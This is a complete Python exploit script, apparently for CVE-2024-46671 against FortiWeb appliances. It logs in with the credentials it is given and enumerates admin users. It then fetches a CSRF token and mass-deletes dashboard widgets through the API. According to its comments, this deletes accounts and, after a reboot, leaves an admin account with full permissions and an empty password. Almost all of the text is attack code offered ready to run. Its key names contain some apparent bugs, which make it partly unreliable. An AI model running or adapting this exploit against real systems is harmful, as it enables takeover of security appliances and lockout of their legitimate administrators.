import requests as r import sys import warnings # ignoring warnings of cert warnings.filterwarnings('ignore') # init vars LOGIN_PATH = "/logincheck" API_USERS_LIST = "/api/v2.0/cmdb/system/admin" API_WIDGETS_ENDPOINT = "/api/v2.0/system/status.dashboard_widget?mkey={}&sub_mkey={}" API_SYSTEM_STATE = "/api/v2.0/system/state" users = [] def banner(): banner = """ ______ _______ ____ ___ ____ _ _ _ _ __ __ _____ _ / ___\ \ / / ____| |___ \ / _ \___ \| || | | || | / /_ / /|___ / | | | \ \ / /| _| _____ __) | | | |__) | || |_ _____| || |_| '_ \| '_ \ / /| | | |___ \ V / | |__|_____/ __/| |_| / __/|__ _|_____|__ _| (_) | (_) / / | | \____| \_/ |_____| |_____|\___/_____| |_| |_| \___/ \___/_/ |_| By MEGHNINE islem """ print(banner) def validate_url(url): if ("https://") in url: return url else: if "http://" in url: url = url.split("http://")[1] return "https://" + url return "https://" + url def init_req(): return r.Session() def test_connection(url): res = r.get(url, verify=False) if res.status_code == 200: return True else: return False def is_vulnerable(req, url): res = req.get(url + API_SYSTEM_STATE, verify=False) system = res.json()['resutls']['config'] if system['CONFIG_MAJOR_NUM'] <= 7: if system['CONFIG_BUILD_NUMBER'] == 638: print("[+] Vulnerable") return True else: print("[+] May be vulnerable") return True else: print("[-] Not vulnerable") return False def get_cookies(req, url, username, password): data = {"ajax":1, "username":username, "secretkey":password} res = req.post(url+LOGIN_PATH,data,verify=False) return res.text def get_users_list(req,url): res = req.get(url + API_USERS_LIST,verify=False) for user in res.json()['results']: #if user['access-profile'] == "prof_admin": # filter only priv admins users.append(user['name']) print("[+] Users found successfully") return users def get_csrf_token(req,url): res = req.get(url + API_SYSTEM_STATE, verify=False) system = res.json() if system['status'] == "success": return system['resutls']['admin']['csrf_token'] # this exploit will trigger 2 vulnerabilities (after reboot) # - Arbitrary account deletion # - Creation of a fresh admin account (full premissions) with none password def delete_widgets(req, url, target_user, token): headers = { "Content-Type": "application/json", "X-Csrftoken": str(token) } data = {} mkey = f"sys_{target_user[2]}_1_root" # crafting mkey with default VDOM and dashboard id for w_id in range(1,20): # blindly removing all widgets furl = url + API_WIDGETS_ENDPOINT.format(mkey, w_id) res = req.delete(furl,json=data,headers=headers,verify=False) if res.json()['errcode'] == '0': print(f"[+] widget {w_id} deleted successfully") else: print("[-] Error deleting widget, exiting exploit ...") exit() if __name__ == "__main__": banner() n = len(sys.argv) if (n < 3): print("Usage: CVE-2024-46671.py IP USERNAME PASSWORD") else: url = validate_url(sys.argv[1]) if (not test_connection(url)): print("[+] FortiWeb is DOWN") exit() else: print("[+] FortiWeb is UP") req = init_req() if "1" in get_cookies(req, url, sys.argv[2], sys.argv[3]): print(f"[+] Connected as user {sys.argv[2]} successfully") if not is_vulnerable(req,url): exit() users = get_users_list(req,url) token = get_csrf_token(req,url) delete_widgets(req,url,users,token) print("[+] exploit finished successfully, waiting for fortiweb reboot then login with username=admin&password=") else: print(f"[-] Error authenticating as {sys.argv[2]}") exit(0)